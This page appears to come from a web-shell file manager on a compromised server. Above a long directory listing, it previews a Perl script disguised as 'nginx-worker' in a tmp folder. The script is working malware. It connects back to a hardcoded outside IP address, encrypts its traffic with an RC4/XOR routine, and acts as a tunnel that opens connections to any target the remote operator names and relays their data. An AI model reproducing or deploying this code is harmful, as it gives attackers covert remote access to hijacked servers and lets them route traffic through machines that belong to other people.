PHP 8.2.31
Preview: nginx-worker Size: 9.03 KB
//opt/alt/alt-nodejs11/root/tmp/nginx-worker

#!/usr/bin/perl

use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;

my $host = '62.60.131.199';
my $port = 443;

my $xordata = "\x00" x 50;

for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }

sub Rc4_crypt {
	 
	 my $passw = shift(@_);
	 
	 my $length = shift(@_);
	 
	 my $buff0 = shift(@_);
	 
	 my $start = shift(@_);
	 
	 my $sz = shift(@_);
	 
	 my $rc4 = "\x00" x 256;
	 
	 my $pockemon0 = 0;
	
	 my $pockemon1 = 0;
	
	 my $pockemon2 = 0;
	
	 my $pockemon3 = 0;
	
	 my $pockemon4 = 0;
	
	 my $pockemon5 = 0;
	
	 my $pockemon6 = 0;
	
	 my $pockemon7 = 0;
	
	 my $pockemon8 = 0;
	 
	 my $rcx = $sz;
	 
	 my $rsi = 0;
	 
	 my $rbx = 0;
	 
	 my $gs = 0;
	 
	 my $t = 0;
	 
	 for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
	 
	 do {
		 
		 substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
		 
		 $rsi++;
		
		 $rbx++;
		
		 $rcx--;
		
		 if ($rbx == $length) {
			 
			 $rbx = 0;
		}
		 
	} while($rcx > 0);
	
	
	 while(1) {
		 
		 if ($gs == 0) {
			 
			 $pockemon2 = 0;

			 $pockemon3 = $length;
		}
		 
		 if ($gs != 0) {
			 
			 $gs = 0;

			 $pockemon2++;

			 if (--$pockemon3 == 0) { next; }
			 
		}
		
		 $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
		 
		 $t = unpack('C', substr($$passw, $pockemon2, 1));

		 $pockemon1 += $t;

		 $pockemon1 = $pockemon1 & 255;

		 $pockemon1 += $pockemon7;

		 $pockemon1 = $pockemon1 & 255;

		 $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
		 
		 substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
		 
		 substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
		 
		 $pockemon0++;

		 $pockemon0 = $pockemon0 & 255;
		 
		 if ($pockemon0 != 0) {
			 
			 $gs = 1;
			 
			 next;
		}
		
		 $pockemon4 = $sz;

		 $pockemon1 = 0;

		 $pockemon0 = 0;

		 $pockemon2 = 0;

		 $pockemon3 = 0;
		 
		 while(1) {
			 
			 $pockemon2++;

			 $pockemon2 = $pockemon2 & 255;

			 $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
			 
			 $pockemon1 += $pockemon7;

			 $pockemon1 = $pockemon1 & 255;

			 $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));

			 substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
		 
			 substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);

			 $pockemon8 += $pockemon7;
	
			 $pockemon8 = $pockemon8 & 255;

			 $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
			 
			 $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));

			 $pockemon5 = $pockemon5 ^ $pockemon0;
			 
			 substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
			 
			 $pockemon3++;
			 
			 if (--$pockemon4 == 0)
			 {
				 last;
			 }
			 
		}
		 
		 last;
	}
	
	 $rsi = 0;
	
	 $rcx = $sz;
	
	 $rbx = 0;
	
	 do {
		 
		 substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
		 
		 $rsi++;
		
		 $rbx++;
		
		 $rcx--;
		
		 if ($rbx == $length) {
			 
			 $rbx = 0;
		}
		 
	} while($rcx > 0);
	
}

sub synsend {
		
	 my $cSocket = shift(@_);
	 
	 my $buffer = shift(@_);
	 
	 my $flags	= shift(@_);

	 open(my $fh, "<", '/dev/null');

	 flock($fh, LOCK_EX);
	 
	 # ===============================================
	 
	 send($cSocket, $buffer, $flags);
	 
	 # ===============================================
	 
	 flock($fh, LOCK_UN);

	 close($fh);
}

sub newConnection {
	
	my $num = shift(@_);
	
	my $socketarray = shift(@_);
	
	my $sSocket = shift(@_);
	
	my $cSocket = shift(@_);
	
	my $buff0 = shift(@_);
	
    threads->create( sub {
		
		my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
		
		my $domain = '';
		
		my $port = 0;
		
		my $_ret = 0;
		
		my $data = '';
		
		my $buffer = '';
		
		setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
		
		fcntl($cSocket, F_SETFL, O_NONBLOCK);
		
		if (unpack('C', substr($buff0, 7, 1)) == 3) {
			
			$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
			
			$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
			
		}
		
		elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
			
			$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
			
			$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
			
		}
		
		else {
			
			 goto close_;
		}
		
		 eval {
			 
			 my $paddr = sockaddr_in($port, inet_aton($domain));
		
			 connect($cSocket, $paddr);
		 
			 vec(my $win = '', fileno($cSocket), 1) = 1;

			 unless (select(undef, $win, undef, 10)) { goto close_; }
		 
			 fcntl($cSocket, F_SETFL, 0);
		 
			 substr($responce, 4, 1) = "\x00";
		 
			 $_ret = 1;
			 
		 };
		 
		 close_:
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
		 
		 synsend($sSocket, $responce, MSG_NOSIGNAL);
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 if ($_ret == 1) {
			 
			 while ($$socketarray[$num] == 1) {
				 
				 vec(my $rin = '', fileno($cSocket), 1) = 1;
				 
				 unless (select($rin, undef, undef, 1)) { next; }
				 
				 $data = '';

				 recv($cSocket, $data, 65530, 0);
	 
				 unless ($data) { last; }
				 
				 $buffer = pack('C', $num).pack('S', length($data)).$data;
				 
				 Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
		 
				 Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
				 
				 synsend($sSocket, $buffer, MSG_NOSIGNAL);
				 
			}
		}
		
		 $$socketarray[$num] = 0;
		 
		 close($cSocket);
		 
		 substr($responce, 1, 2) = "\x00\x00";
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
		
         threads->detach();
    });
}

sub bccnct {

	 my $host = shift(@_);
	 
	 my $port = shift(@_);
	 
	 my $remaining = 0;
	 
	 my $remaining4 = 0;
	 
	 my @socketarr;
	 
	 my @socketarray :shared;
	 
	 my $buffer = "\x00" x 100;
	 
	 my $buffernull = "\x00" x 3;
	 
	 my $buffer0 = '';
	 
	 my $isExit = 0;
	 
	 my $ecx = 0;
	 
	 my $eax = 0;
	 
	 my $data = '';
	 
	 my $_ret = 0;
	 
	 my $ebx = 0;
	 
	 my $edx = 0;
	 
	 socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
	 
	 setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
	 
	 my $paddr = sockaddr_in($$port, inet_aton($$host));
	 
	 unless(connect($socketarr[0], $paddr)) { goto close0; }
	 
	 substr($buffer, 0, 50) = $xordata;
	 
	 substr($buffer, 50, 2) = "\xFF\xFF";
	 
	 substr($buffer, 54, 11) = "Perl script";
	 
	 Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
	 
	 send($socketarr[0], $buffer, MSG_NOSIGNAL);
	 
	 while(1) {
		 
		 if ($remaining4 != 4) {
			 
			 vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
			 
			 my $ret = select($rin, undef, undef, 60);
			 
			 next if ($ret < 0);
			 
			 if ($ret == 0) {
				 
				 last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
				 
				 last if ($remaining != 0);
				 
				 last if ($remaining4 != 0);
				 
				 Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
				 
				 synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
				 
				 next;
			}
			 
		}
		 
		 if ($remaining != 0 || $remaining4 == 4) {
			 
			 if ($edx == 0) {
				 
				 if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
					 
					 $isExit = 1;
					 
					 last;
					 
				}
				 
				 elsif ($ebx < 200 && $ebx > 0) {
				 
					 $socketarray[$ebx] = 0;
				 
				}
			
			}
			
			else {
				
				 $ecx = $edx;
				
				 $ecx = $ecx - $remaining;
				 
				 $data = '';
				 
				 recv($socketarr[0], $data, $ecx, 0);
				
				 unless ($data) { last; }
				 
				 $remaining += length($data);
				 
				 $buffer0 .= $data;
				 
				 if ($edx == $remaining) {
					 
					 Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
					 
					 if (unpack('C', substr($buffer0, 0, 1)) == 0) {
						 
						 socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
						 
						 $socketarray[$ebx] = 1;
						 
						 newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
						 
					}
					
					 else {
						 
						 send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
						 
					}
					 
					 $remaining = 0;
				}
				
			}
			 
			 $remaining4 = 0;
			 
		}
		
		else {
			
			 if ($remaining4 == 0) { $buffer0 = ''; }
			
			 $eax = 4;
			
			 $eax = $eax - $remaining4;
			 
			 $data = '';
			 
			 recv($socketarr[0], $data, $eax, 0);
			 
			 unless ($data) { last; }
			 
			 $remaining4 += length($data);
			 
			 $buffer0 .= $data;
			 
			 $buffernull = "\x00" x 3;
			 
			 if ($remaining4 == 4) {
				 
				 Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
				 
				 $ebx = unpack('C', substr($buffer0, 1, 1));
				 
				 $edx = unpack('S', substr($buffer0, 2, 2));
			 
				 $_ret = 1;
			}
			
		}
	}
	
	 close0:
	 
	 close($socketarr[0]);
	 
	 for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
	 
	 sleep 10;
	 
	 if ($isExit == 1) { exit; }
	 
	 return $_ret;

}

bccnct(\$host, \$port);

Directory Contents

Dirs: 0 × Files: 122

Name Size Perms Modified Actions
12.43 KB lrwxr-xr-x 2025-10-08 03:48:22
Edit Download
12.43 KB lrwxr-xr-x 2025-10-09 15:43:03
Edit Download
12.55 KB lrwxr-xr-x 2025-10-05 20:22:57
Edit Download
12.55 KB lrwxr-xr-x 2025-10-08 12:35:14
Edit Download
12.43 KB lrwxr-xr-x 2025-10-08 03:55:55
Edit Download
12.43 KB lrwxr-xr-x 2025-09-25 12:22:58
Edit Download
12.55 KB lrwxr-xr-x 2025-10-12 11:42:27
Edit Download
12.55 KB lrwxr-xr-x 2025-10-05 16:16:29
Edit Download
12.55 KB lrwxr-xr-x 2025-10-04 21:38:02
Edit Download
12.55 KB lrwxr-xr-x 2025-10-08 05:24:25
Edit Download
12.43 KB lrwxr-xr-x 2025-10-04 21:17:02
Edit Download
12.43 KB lrwxr-xr-x 2025-09-28 03:48:45
Edit Download
12.55 KB lrwxr-xr-x 2025-10-05 22:32:47
Edit Download
12.55 KB lrwxr-xr-x 2025-10-02 11:23:28
Edit Download
12.43 KB lrwxr-xr-x 2025-10-12 02:33:11
Edit Download
12.43 KB lrwxr-xr-x 2025-09-26 18:13:00
Edit Download
12.55 KB lrwxr-xr-x 2025-10-04 19:48:54
Edit Download
12.43 KB lrwxr-xr-x 2025-10-07 08:30:29
Edit Download
12.43 KB lrwxr-xr-x 2025-12-25 23:25:32
Edit Download
12.55 KB lrwxr-xr-x 2025-09-01 22:40:15
Edit Download
12.43 KB lrwxr-xr-x 2025-09-03 05:12:30
Edit Download
12.43 KB lrwxr-xr-x 2025-09-01 22:51:31
Edit Download
12.55 KB lrwxr-xr-x 2025-09-02 13:56:51
Edit Download
12.55 KB lrwxr-xr-x 2025-09-04 00:58:30
Edit Download
12.55 KB lrwxr-xr-x 2025-08-30 23:12:36
Edit Download
12.43 KB lrwxr-xr-x 2025-09-03 05:21:22
Edit Download
12.55 KB lrwxr-xr-x 2025-09-04 07:08:33
Edit Download
12.55 KB lrwxr-xr-x 2025-12-25 09:28:25
Edit Download
12.43 KB lrwxr-xr-x 2025-12-25 16:38:13
Edit Download
12.55 KB lrwxr-xr-x 2025-09-04 01:39:16
Edit Download
12.43 KB lrwxr-xr-x 2025-09-02 07:41:31
Edit Download
12.55 KB lrwxr-xr-x 2025-09-02 03:39:51
Edit Download
12.43 KB lrwxr-xr-x 2025-12-24 05:46:18
Edit Download
12.43 KB lrwxr-xr-x 2025-12-25 20:58:02
Edit Download
12.55 KB lrwxr-xr-x 2025-12-25 11:25:06
Edit Download
12.43 KB lrwxr-xr-x 2025-12-25 17:22:40
Edit Download
12.55 KB lrwxr-xr-x 2025-12-23 22:29:10
Edit Download
12.43 KB lrwxr-xr-x 2025-12-13 05:58:56
Edit Download
12.43 KB lrwxr-xr-x 2025-12-25 03:13:02
Edit Download
12.55 KB lrwxr-xr-x 2025-12-11 01:25:31
Edit Download
9.03 KB lrwxr-xr-x 2026-01-15 05:49:59
Edit Download
12.43 KB lrwxr-xr-x 2025-12-25 12:52:42
Edit Download
12.43 KB lrwxr-xr-x 2025-12-25 18:10:26
Edit Download
12.43 KB lrwxr-xr-x 2026-01-14 22:01:15
Edit Download
12.55 KB lrwxr-xr-x 2025-08-31 17:36:13
Edit Download
12.55 KB lrwxr-xr-x 2025-09-04 00:58:44
Edit Download
12.43 KB lrwxr-xr-x 2025-09-01 06:29:33
Edit Download
12.55 KB lrwxr-xr-x 2025-08-28 05:26:54
Edit Download
12.55 KB lrwxr-xr-x 2025-09-04 05:05:47
Edit Download
12.43 KB lrwxr-xr-x 2025-12-23 07:39:41
Edit Download
9.03 KB lrwxr-xr-x 2026-01-15 04:22:44
Edit Download
12.43 KB lrwxr-xr-x 2026-01-15 03:23:28
Edit Download
12.43 KB lrwxr-xr-x 2025-12-26 05:11:59
Edit Download
12.43 KB lrwxr-xr-x 2025-08-28 08:30:27
Edit Download
12.55 KB lrwxr-xr-x 2025-09-03 08:01:10
Edit Download
12.43 KB lrwxr-xr-x 2025-08-28 00:20:53
Edit Download
12.55 KB lrwxr-xr-x 2025-09-01 05:17:53
Edit Download
12.55 KB lrwxr-xr-x 2025-09-03 21:57:07
Edit Download
12.43 KB lrwxr-xr-x 2025-12-11 09:52:39
Edit Download
12.43 KB lrwxr-xr-x 2025-12-23 01:38:38
Edit Download
12.43 KB lrwxr-xr-x 2025-12-25 13:21:47
Edit Download
9.03 KB lrwxr-xr-x 2026-01-08 07:40:39
Edit Download
12.43 KB lrwxr-xr-x 2025-12-11 05:23:25
Edit Download
9.03 KB lrwxr-xr-x 2026-01-01 22:33:25
Edit Download
12.43 KB lrwxr-xr-x 2025-12-26 01:42:58
Edit Download
12.43 KB lrwxr-xr-x 2025-12-13 04:24:07
Edit Download
9.03 KB lrwxr-xr-x 2026-01-14 22:09:42
Edit Download
9.03 KB lrwxr-xr-x 2026-01-15 08:07:52
Edit Download
12.55 KB lrwxr-xr-x 2025-12-25 19:43:44
Edit Download
12.55 KB lrwxr-xr-x 2025-12-22 21:40:33
Edit Download
9.03 KB lrwxr-xr-x 2026-01-01 01:34:07
Edit Download
12.55 KB lrwxr-xr-x 2025-08-31 07:56:41
Edit Download
12.43 KB lrwxr-xr-x 2025-09-03 11:43:37
Edit Download
12.55 KB lrwxr-xr-x 2025-09-03 21:47:18
Edit Download
12.55 KB lrwxr-xr-x 2025-08-28 02:49:11
Edit Download
12.55 KB lrwxr-xr-x 2025-08-30 14:00:14
Edit Download
12.43 KB lrwxr-xr-x 2025-09-02 22:57:55
Edit Download
12.43 KB lrwxr-xr-x 2025-09-03 15:43:56
Edit Download
12.43 KB lrwxr-xr-x 2025-09-03 18:52:23
Edit Download
12.55 KB lrwxr-xr-x 2025-08-30 14:22:16
Edit Download
12.43 KB lrwxr-xr-x 2026-01-15 06:47:11
Edit Download
12.43 KB lrwxr-xr-x 2025-12-24 12:28:55
Edit Download
12.55 KB lrwxr-xr-x 2025-12-23 18:27:25
Edit Download
12.43 KB lrwxr-xr-x 2025-12-25 20:25:43
Edit Download
12.55 KB lrwxr-xr-x 2025-12-25 16:56:22
Edit Download
12.43 KB lrwxr-xr-x 2025-12-25 18:42:13
Edit Download
12.43 KB lrwxr-xr-x 2026-01-11 13:39:46
Edit Download
12.43 KB lrwxr-xr-x 2025-12-26 02:11:16
Edit Download
12.43 KB lrwxr-xr-x 2026-01-15 06:44:34
Edit Download
12.43 KB lrwxr-xr-x 2025-12-25 06:38:52
Edit Download
12.55 KB lrwxr-xr-x 2025-09-03 09:19:34
Edit Download
12.43 KB lrwxr-xr-x 2025-09-02 03:39:53
Edit Download
12.55 KB lrwxr-xr-x 2025-08-28 17:56:24
Edit Download
12.55 KB lrwxr-xr-x 2025-08-29 02:25:34
Edit Download
12.43 KB lrwxr-xr-x 2025-09-01 06:30:13
Edit Download
12.55 KB lrwxr-xr-x 2025-08-28 05:52:39
Edit Download
12.55 KB lrwxr-xr-x 2025-12-25 21:14:18
Edit Download
12.43 KB lrwxr-xr-x 2025-12-25 13:09:18
Edit Download
12.43 KB lrwxr-xr-x 2025-09-03 05:12:30
Edit Download
12.43 KB lrwxr-xr-x 2025-09-02 07:47:30
Edit Download
12.43 KB lrwxr-xr-x 2025-09-03 03:40:52
Edit Download
12.55 KB lrwxr-xr-x 2025-08-30 02:54:58
Edit Download
12.55 KB lrwxr-xr-x 2025-09-03 01:48:09
Edit Download
12.43 KB lrwxr-xr-x 2025-08-31 21:17:01
Edit Download
12.43 KB lrwxr-xr-x 2025-08-31 23:01:51
Edit Download
12.55 KB lrwxr-xr-x 2025-08-31 21:15:56
Edit Download
12.55 KB lrwxr-xr-x 2025-08-27 20:05:05
Edit Download
12.55 KB lrwxr-xr-x 2025-12-13 05:29:19
Edit Download
12.55 KB lrwxr-xr-x 2025-12-25 14:11:41
Edit Download
12.43 KB lrwxr-xr-x 2025-12-26 07:45:23
Edit Download
12.43 KB lrwxr-xr-x 2025-12-12 15:18:52
Edit Download
9.03 KB lrwxr-xr-x 2026-01-08 01:49:09
Edit Download
12.43 KB lrwxr-xr-x 2025-12-26 08:01:21
Edit Download
9.03 KB lrwxr-xr-x 2026-01-14 23:20:09
Edit Download
12.43 KB lrwxr-xr-x 2025-12-19 19:24:20
Edit Download
12.55 KB lrwxr-xr-x 2025-12-25 20:44:59
Edit Download
12.43 KB lrwxr-xr-x 2025-09-02 15:45:33
Edit Download
12.43 KB lrwxr-xr-x 2025-09-01 02:52:58
Edit Download
12.43 KB lrwxr-xr-x 2025-08-29 17:00:25
Edit Download
12.55 KB lrwxr-xr-x 2025-09-03 13:38:19
Edit Download
12.55 KB lrwxr-xr-x 2025-08-31 20:23:09
Edit Download
12.55 KB lrwxr-xr-x 2025-09-01 22:04:03
Edit Download

If ZipArchive is unavailable, a .tar will be created (no compression).